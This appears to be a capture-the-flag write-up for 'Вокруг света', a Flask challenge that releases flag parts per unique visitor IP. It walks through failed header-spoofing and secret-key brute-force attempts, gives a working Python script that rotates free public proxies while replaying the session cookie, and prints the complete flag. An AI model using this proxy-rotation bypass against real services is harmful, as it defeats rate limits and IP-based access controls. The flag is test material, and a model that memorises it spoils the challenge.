Вокруг света
Вокруг света
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: ip_based_access_control_bypass, proxy_rotation, session_cookie_replay
Summary
Task: Flask app reveals flag parts one per unique visitor IP, tracked via signed session cookie. Solution: rotate requests through free HTTP proxies while replaying the session cookie to accumulate IPs and collect all 9 flag parts.
Вокруг света — bug-makers
Description
Вокруг света за 80 дней минуту! Путешествовать всегда хорошо! Сувениры там всякие привозишь, диковинки всякие наблюдаешь. Но не всегда получается выкроить время :( Так что отправимся в путешествие виртуальное, а вместо сувениров - куски флагов! Пока все не объедешь, флаг не получишь!
English summary: "Around the world in 80 days minutes!" — a virtual travel challenge where you collect flag pieces as souvenirs. You must visit from enough different locations to collect all flag parts.
Target: http://31.207.77.216:4018
Analysis
Server fingerprinting
The server runs Werkzeug/2.3.7 Python/3.9.24 (Flask). Only GET / is valid — all other paths return 404, all other methods return 405.
Session cookie structure
The Flask signed session cookie decodes (base64) to a JSON payload:
json read-only • copy allowed{"addresses": ["147.45.101.108"]}
Each time a request arrives from a new unique IP address, the server:
- Adds the IP to the
addresseslist in the session - Returns the next flag part in the response body (e.g.,
flag part #2 {Tha7_) - Re-signs the cookie with the updated addresses list
The flag is split into 9 parts. After all parts are collected, the server responds: "You already have whole flag!"
IP detection mechanism
The app uses request.remote_addr — the actual TCP connection source IP. This means HTTP header spoofing does not work:
X-Forwarded-For— no effectX-Real-IP— no effectX-Client-IP,CF-Connecting-IP,True-Client-IP,X-Originating-IP— no effectForwardedheader — no effectClient-IP,X-Remote-Addr— no effect- Multiple
X-Forwarded-Forvalues (ProxyFix bypass attempt) — no effect
Flask secret key
Attempted brute-force with flask-unsign using rockyou.txt, common credential lists, and theme-related guesses ("aroundtheworld", "80days", etc.) — the secret key was not found. Cookie forgery was not viable.
Other dead ends
- Werkzeug debug console (
/console) — not enabled - Source code leaks (
.git/,.env,app.py,Dockerfile,requirements.txt) — all 404
Solution
Since the app checks the actual TCP source IP, the only way to appear from different IPs is to route requests through different proxy servers while replaying the session cookie to maintain state.
Approach
- Fetch a list of free HTTP proxies from public APIs
- Make the initial request directly to get part #1 and the session cookie
- For each subsequent part, use a different proxy while sending the accumulated session cookie
- The server sees a new
remote_addr, adds it to the session, and returns the next flag part - Repeat until all 9 parts are collected
Solve script
python read-only • copy allowed#!/usr/bin/env python3 """ Solve: Вокруг света (Around the World) — bug-makers CTF Collect flag parts by visiting from different IPs via proxy rotation. """ import requests import re url = "http://31.207.77.216:4018" # Fetch free proxy lists all_proxies = [] proxy_sources = [ "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=3000&country=all&ssl=all&anonymity=all", "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt", ] for source in proxy_sources: try: r = requests.get(source, timeout=10) all_proxies.extend([p.strip() for p in r.text.strip().split('\n') if p.strip()]) except Exception: pass print(f"[*] Loaded {len(all_proxies)} proxies") # Get initial session cookie (part #1 from our own IP) r = requests.get(url, timeout=5) current_cookie = r.cookies.get('session') collected = {1: "BugCTF"} print(f"[+] Part #1: BugCTF (direct request)") # Rotate through proxies to collect remaining parts tried = set() for proxy in all_proxies: if proxy in tried: continue tried.add(proxy) try: r = requests.get( url, proxies={"http": f"http://{proxy}"}, cookies={"session": current_cookie}, timeout=4, ) # Update session cookie new_cookie = r.cookies.get('session') if new_cookie: current_cookie = new_cookie # Extract flag part match = re.search(r'flag part #(\d+)\s+(.*?)(?:<br>|<)', r.text) if match: num = int(match.group(1)) text = match.group(2).strip() if num not in collected: collected[num] = text print(f"[+] Part #{num}: {text} (via {proxy})") # Check if flag is complete flag = ''.join(collected[k] for k in sorted(collected.keys())) if '}' in flag: print(f"\n[!] FLAG: {flag}") break except Exception: continue print(f"\n[*] Tried {len(tried)} proxies, collected {len(collected)}/9 parts")
Flag parts
| # | Part |
|---|---|
| 1 | BugCTF |
| 2 | {Tha7_ |
| 3 | wa5_th |
| 4 | e_f@st |
| 5 | e5t_tR |
| 6 | 1P_ar0 |
| 7 | UnD_th |
| 8 | e_W0r1 |
| 9 | d!} |
| |